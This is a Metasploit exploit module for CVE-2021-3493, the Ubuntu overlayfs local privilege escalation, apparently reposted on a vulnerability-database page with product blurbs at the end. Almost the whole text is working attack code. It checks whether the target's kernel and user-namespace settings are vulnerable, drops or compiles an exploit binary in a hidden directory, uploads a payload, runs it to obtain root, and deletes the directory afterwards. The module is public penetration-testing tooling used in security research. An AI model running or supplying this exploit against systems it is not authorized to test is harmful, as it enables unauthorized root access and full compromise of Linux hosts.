`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => '2021 Ubuntu Overlayfs LPE',
'Description' => %q{
This module exploits a vulnerability in Ubuntu's implementation of overlayfs. The
vulnerability is the result of failing to verify the ability of a user to set the
attributes in a running executable. Specifically, when Overlayfs sends the set attributes
data to the underlying file system via `vfs_setxattr`, it fails to first verify the data
by calling `cap_convert_nscap`.
This vulnerability was patched by moving the call to `cap_convert_nscap`
into the `vfs_setxattr` function that sets the attribute, forcing verification every time the
`vfs_setxattr` is called rather than trusting the data was already verified.
},
'License' => MSF_LICENSE,
'Author' => [
'ssd-disclosure',
'bwatters-r7' # Aka @tychos_moose, Metasploit Module
],
'DisclosureDate' => '2021-04-12',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2021-3493' ],
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/' ],
[ 'URL', 'https://github.com/briskets/CVE-2021-3493' ]
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'Targets' => [
[
'x86_64',
{
'Arch' => [ ARCH_X64 ]
}
],
[
'aarch64',
{
'Arch' => [ ARCH_AARCH64 ]
}
]
],
'DefaultTarget' => 0
)
)
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def check
arch = kernel_hardware
unless arch.include?('x86_64') || arch.include?('aarch64')
return CheckCode::Safe("System architecture #{arch} is not supported")
end
release = kernel_release
version = kernel_version
unless userns_enabled?
return CheckCode::Safe('Unprivileged user namespaces are not permitted')
end
vprint_good('Unprivileged user namespaces are permitted')
# If the target is Ubuntu...
unless version =~ /[uU]buntu/
return CheckCode::Safe('Target is not Ubuntu!')
end
version_array = release.split('-')
if version_array.length < 2
fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!')
end
vprint_status("Version array: #{version_array}")
major_version = Rex::Version.new(version_array[0])
vprint_status("major_version: #{major_version}")
minor_version = version_array[1]
vprint_status("minor_version: #{minor_version}")
lower_bound_version = Rex::Version.new(3.13)
upper_bound_version = Rex::Version.new(5.14)
if major_version > upper_bound_version || major_version < lower_bound_version
return CheckCode::Safe("The target version #{major_version} is outside the vulnerable version range #{lower_bound_version}-#{upper_bound_version}")
end
return CheckCode::Appears
end
def exploit
if is_root? && !datastore['ForceExploit']
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.')
end
base_dir = datastore['WritableDir'].to_s
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
executable_name = ".#{rand_text_alphanumeric(5..10)}"
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
exploit_path = "#{exploit_dir}/#{executable_name}"
if file_exist?(exploit_dir)
fail_with(Failure::BadConfig, 'Exploit dir already exists')
end
mkdir(exploit_dir)
register_dir_for_cleanup(exploit_dir)
# Upload exploit
arch = kernel_hardware
vprint_status("Detected architecture: #{arch}")
if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))
fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')
end
if live_compile?
vprint_status('Live compiling exploit on system...')
upload_and_compile(exploit_path, exploit_source('CVE-2021-3493', 'cve_2021_3493.c'))
else
vprint_status 'Dropping pre-compiled exploit on system...'
if arch.include?('x86_64')
precompiled_binary = 'cve_2021_3493.x64.elf'
vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)
elsif arch.include?('aarch64')
precompiled_binary = 'cve_2021_3493.aarch64.elf'
vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)
else
fail_with(Failure::NoTarget, "Unknown architecture: '#{arch}'")
end
end
register_file_for_cleanup(exploit_path)
# Upload payload
payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx(payload_path, generate_payload_exe)
# Launch exploit
print_status('Launching exploit...')
random_string = rand_text_alphanumeric(5..10)
cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir} #{random_string}"
vprint_status("Running: #{cmd_string}")
begin
output = cmd_exec(cmd_string)
vprint_status(output)
rescue Error => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error("Exploit failed: #{e}")
ensure
# rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.
cmd_exec("rm -rf '#{exploit_dir}'")
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation